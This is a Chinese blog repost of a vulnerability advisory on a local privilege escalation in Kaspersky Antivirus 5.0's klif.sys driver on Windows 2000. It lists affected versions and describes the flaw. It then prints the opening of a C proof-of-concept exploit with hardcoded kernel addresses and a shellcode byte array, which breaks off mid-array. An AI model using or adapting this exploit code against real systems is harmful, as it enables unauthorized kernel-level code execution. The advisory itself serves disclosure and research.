Kaspersky杀毒软件klif.sys权限提升漏洞-优快云博客

本文详细介绍了Kaspersky杀毒软件在Microsoft Windows 2000平台上存在的一个权限提升漏洞，该漏洞源于klif.sys内核驱动没有正确处理权限，允许本地攻击者以系统内核权限执行任意代码。文章提供了漏洞描述、测试方法以及安全建议，并提醒用户关注厂商主页获取更新以修复此问题。

受影响系统：
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
描述：
--------------------------------------------------------------------------------

Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞，本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限，攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源：Ilya Rabinovich （info@softsphere.com）

  链接：http://marc.theaimsgroup.com/?l= ... 17777430401&w=2
*>

测试方法：
--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};

PUCHAR pKAVRet;

unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
                  0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
                  0x6A,0x00,                   //push 0
      &nb